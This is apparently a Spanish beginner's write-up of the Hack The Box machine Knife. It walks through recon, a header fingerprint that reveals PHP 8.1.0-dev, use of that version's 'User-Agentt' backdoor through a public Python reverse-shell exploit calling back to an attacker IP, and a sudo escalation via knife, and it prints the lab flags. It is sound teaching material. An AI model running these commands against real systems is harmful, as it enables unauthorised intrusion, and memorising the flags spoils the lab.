Volver al laboratorio ~/iphobiuss/guias/02-knife

Knife

HTB LINUX EASY RCE SUDO

Guía para principiantes de la máquina Knife de Hack The Box, la #2 de la serie. Da por sabido lo de Cap y suma capas nuevas: fingerprinting por cabeceras HTTP, explotar una versión con backdoor, montar una reverse shell sin credenciales, y escalar por sudo. Como siempre: no solo los comandos, sino por qué se decide cada paso.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.El punto de lectura se actualiza al desplazarte.Cuaderno opcional no disponible.
En esta guía
Requisitos: los mismos de Cap: cuenta HTB (VIP para retiradas), Kali funcionando, y la VPN levantada. Si es tu primer writeup, empieza por la guía de Cap: aquí no repito el flujo básico, lo doy por hecho.

Lección de esta máquina, ya en la conexión: una VPN a la vez. Si levantas una segunda sin cerrar la primera, Linux crea tun1 (porque tun0 sigue ocupada) y verás errores route ... File exists. Antes de conectar otra VPN, mata la anterior con sudo pkill openvpn y reconecta: así vuelves a un tun0 limpio.
Resumen del recorrido (contiene spoilers)
01
RECON
nmap · 2 puertos
02
FINGERPRINT
curl -I → PHP 8.1.0-dev
03
RCE
backdoor · User-Agentt
04
ACCESO
reverse shell → james
05
PRIVESC
sudo knife → root
Entorno y versiones documentadas
  • Kali Linux y VirtualBox: versiones no especificadas en la guía original.
  • Servicio del objetivo: PHP 8.1.0-dev.

Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.

Modo de lectura
▚

01 · RECONOCIMIENTO

Menos puertos que en Cap: la decisión de entrada es aún más clara.
PISTAIdentifica los puertos abiertos, sus servicios y versiones. Anota una hipótesis de entrada por cada servicio.
Ver solución paso a paso
Comandos / terminal
mkdir -p ~/htb/knife/nmap && cd ~/htb/knife
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.139
Salida de ejemplo
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Dos puertos. Mismo razonamiento que Cap: SSH (22) pide credenciales que no tienes → puerta cerrada con llave, se descarta como entrada inicial. HTTP (80) es la única superficie explorable. Con solo dos puertas y una cerrada, la decisión no admite duda: se empieza por HTTP.

DATO DEL PINGUn ttl=63 en la respuesta al ping sugiere una máquina Linux (los TTL de Linux parten en 64 y bajan 1 por salto). Pista temprana, se confirma luego con el fingerprint.
▚

02 · FINGERPRINTING

Cuando la web no da nada a la vista, mira lo que hay por debajo.
PISTALas cabeceras de la respuesta pueden revelar información que no aparece en la página.
Ver solución paso a paso

La web no muestra nada obvio

Abres http://10.129.62.139 en Firefox y ves una página de empresa médica ficticia (EMA: Emergent Medical Idea): puro texto, los enlaces de arriba no hacen nada, sin funciones visibles. A simple vista no hay qué explotar.

EL GIRO RESPECTO A CAPEn Cap la web te mostraba todo a la vista. Aquí no. Cuando una web no da nada obvio, el pentester no se rinde: mira cómo está construido el servidor: qué tecnología y qué versiones corre. Esa info no se ve en la página, pero el servidor la anuncia en las cabeceras HTTP.

Inspeccionar las cabeceras HTTP

Cada respuesta web trae "cabeceras": metadatos invisibles que a veces revelan el software y sus versiones. Es como leer la etiqueta de fabricación. Desde la terminal, sin navegador:

Comandos / terminal
curl -I http://10.129.62.139

curl hace peticiones web desde la consola; -I pide solo las cabeceras, no el contenido.

Ejemplo de la guía
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

Server: Apache/2.4.41 (Ubuntu) confirma Ubuntu/Linux. Y la joya: X-Powered-By: PHP/8.1.0-dev.

REFLEJO CLAVE DEL OFICIOEl sufijo -dev es una versión de desarrollo, no de producción. Cuando encuentras una versión específica y rara (-dev, beta, RC…), la siguiente pregunta es SIEMPRE: ¿esta versión tiene una vulnerabilidad pública conocida? Una versión de desarrollo en producción es una bandera roja: puede traer código que nunca debió publicarse.
▚

03 · LA VULNERABILIDAD

Versión rara → buscar CVE → leer cómo funciona. La habilidad central.
PISTARelaciona la versión exacta con la documentación de la vulnerabilidad y lee el código antes de usarlo.
Ver solución paso a paso

▚ El backdoor de PHP 8.1.0-dev

Buscando PHP 8.1.0-dev exploit (en Google o en Exploit-DB) se descubre que en 2021 el repositorio de código de PHP fue comprometido: unos atacantes inyectaron un backdoor en el código fuente, que quedó en esa versión de desarrollo.

El backdoor (apodado zerodiumvar_dump) se dispara cuando el servidor recibe una cabecera HTTP con un nombre concreto, y ejecuta como comando lo que venga en ella. Ese nombre es User-Agentt, con doble T, no es una errata. Se disfrazó a propósito para parecerse a la cabecera legítima User-Agent y pasar desapercibida.

Conseguir y leer el exploit

Las referencias apuntan a un exploit ya escrito en Python (repo de flast101). Se clona y, regla de oro, se lee antes de ejecutar: nunca dispares un exploit a ciegas.

Comandos / terminal
git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce
cat revshell_php_8.1.0-dev.py

Dentro del script se ve materializado todo lo investigado: manda la cabecera User-Agentt con zerodiumsystem('...') y dentro un payload de reverse shell. También comprueba primero que el server corra PHP/8.1.0-dev antes de atacar. Su uso:

Comandos / terminal
python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>
▚

04 · ACCESO · REVERSE SHELL

Un método de acceso sin credenciales, distinto al SSH de Cap.
PISTAEl exploit no te deja dentro por sí solo: necesita un receptor esperando la conexión de vuelta. Prepara la escucha antes de disparar y usa el mismo puerto en ambos extremos.
Ver solución paso a paso

▚ ¿Qué es una reverse shell?

Una técnica para conseguir una terminal de la víctima cuando no tienes credenciales. Al revés de lo intuitivo: en vez de que tú te conectes a la víctima (como el SSH de Cap), haces que la víctima se conecte a ti.

Tú te pones "a la escucha" en tu Kali; luego, vía el backdoor, ordenas a la víctima que te llame de vuelta y te entregue una shell. Lo que necesita saber de ti no son credenciales, sino tu IP y un puerto, como un número de teléfono, no una contraseña.

1 · Ponte a la escucha (listener)

En una terminal, espera la conexión entrante con netcat. Queda "colgada" escuchando, es correcto, no la cierres.

Comandos / terminal
nc -lvnp 4444

-l listen · -v verbose · -n sin DNS · -p 4444 puerto (el mismo que le pasarás al exploit).

2 · Dispara el exploit

Confirma tu IP de tun0 (ip a show tun0), un error clásico: pasar la IP de eth0 en vez de la de la VPN, y la shell nunca llega. Orden: URL víctima → tu IP → tu puerto.

Comandos / terminal
python3 revshell_php_8.1.0-dev.py http://10.129.62.139 10.10.14.57 4444

La magia ocurre en la terminal del netcat: cae la conexión y aparece un prompt nuevo.

Ejemplo de la guía
connect to [10.10.14.57] from (UNKNOWN) [10.129.62.139] 45772
james@knife:/$

Los avisos no job control in this shell no son errores: es una shell básica. El prompt james@knife ya te dice el usuario del servidor web.

3 · Estabiliza la shell

Truco que usarás en cada reverse shell: convertir la shell básica en una más funcional (prompt completo).

Comandos / terminal
python3 -c 'import pty; pty.spawn("/bin/bash")'

4 · User flag

Comandos / terminal
whoami            # -> james
cat /home/james/user.txt   # -> bf5dfa0cc747705d9ec81c5ecf28b79c
SEÑAL DE CONFIG DESCUIDADAEl servidor web corre como james, un usuario personal, no de servicio. Por eso pudiste leer directo su user.txt (permisos -r--------, solo de james). En una config correcta el web server no correría como un usuario real.
▚

05 · ESCALADA POR SUDO

El vector de privesc más común del mundo real. Complementa las capabilities de Cap.
PISTAEmpieza por sudo -l: hay un binario que puedes ejecutar como root sin contraseña. Búscalo en GTFOBins para ver cómo abrir una shell desde él.
Ver solución paso a paso

▚ ¿Qué es sudo (y por qué se abusa)?

sudo permite a un usuario ejecutar algo como otro usuario (normalmente root), si el administrador lo autorizó. La mina de oro aparece cuando esa autorización está mal hecha: si te dejan correr como root un programa que se puede "abusar", puedes escalar a root.

Preguntar qué te permite sudo

Comandos / terminal
sudo -l
Ejemplo de la guía
User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Lectura: (root) lo corres como root · NOPASSWD sin contraseña (por eso sudo -l funcionó sin la clave de james) · /usr/bin/knife el binario. Ese es el boleto, y la razón del nombre de la máquina.

Qué es knife, y GTFOBins

knife es la CLI de Chef, una plataforma de gestión de configuración. Lo relevante: knife puede ejecutar código Ruby. El mismo patrón letal de Cap: un binario que corre como root y ejecuta código que tú le das.

ENCADENAR GTFOBinsComo en Cap: binario poco común en sudo -l → búscalo en GTFOBins, sección Sudo (usa la sección de TU permiso). La entrada de knife muestra knife exec -E '...' y dice "inherits from ruby": para el código a inyectar, ve a la página de ruby → sección Shell, que da exec "/bin/sh".

Armar el comando y saltar a root

Combinas la cáscara de knife con el Ruby de ruby, con sudo delante:

Comandos / terminal
sudo knife exec -E 'exec "/bin/sh"'
whoami   # -> root
id       # -> uid=0(root) gid=0(root) groups=0(root)

El prompt cambia a #. Lógica idéntica a Cap: sudo corre knife como root → knife ejecuta el Ruby → el Ruby lanza una shell → como todo corre como root, la shell es de root.

Root flag

Comandos / terminal
cat /root/root.txt   # -> 67d2dd2560757b41cd5019a89a441df5

Máquina comprometida por completo.

▚

TASKS · GUIDED MODE

Las flags son de una instancia concreta. En tu máquina serán distintas.
Mostrar respuestas del laboratorio

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

TaskRespuesta
¿Cuántos puertos TCP abiertos hay?2
¿Qué versión de PHP corre el servidor web?PHP 8.1.0-dev
¿Qué cabecera HTTP da ejecución de código en esta versión?User-Agentt
¿Como qué usuario corre el servidor web?james
Ruta completa del binario que james ejecuta como root/usr/bin/knife
User flagbf5dfa0cc747705d9ec81c5ecf28b79c
Root flag67d2dd2560757b41cd5019a89a441df5
▚

CONCEPTOS NUEVOS (vs CAP)

Knife no repite Cap: lo extiende. Esto es lo que suma a tu arsenal.

GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.

  • LABUna VPN a la vez: mata la anterior (sudo pkill openvpn) antes de levantar otra, o acabas en tun1 con rutas duplicadas.
  • GENERALFingerprinting por cabeceras: curl -I revela servidor, SO y versiones cuando la web no muestra nada a la vista.
  • GENERALVersión rara → CVE: -dev/beta/RC = bandera roja. Reflejo: buscar vulnerabilidad pública conocida.
  • GENERALLeer el exploit antes de lanzarlo: entender qué hace (el User-Agentt, el payload) es lo que separa entender de copiar.
  • GENERALReverse shell: acceso sin credenciales. Listener (nc -lvnp) + la víctima te llama de vuelta a tu IP + puerto.
  • GENERALEstabilizar la shell: python3 -c 'import pty; pty.spawn("/bin/bash")' convierte una shell básica en una usable.
  • GENERALEscalada por sudo -l: el vector de privesc más común del mundo real. NOPASSWD es regalo.
  • GENERALEncadenar GTFOBins: knife hereda de ruby: seguir esa pista hasta el comando final, usando la sección del permiso correcto (Sudo).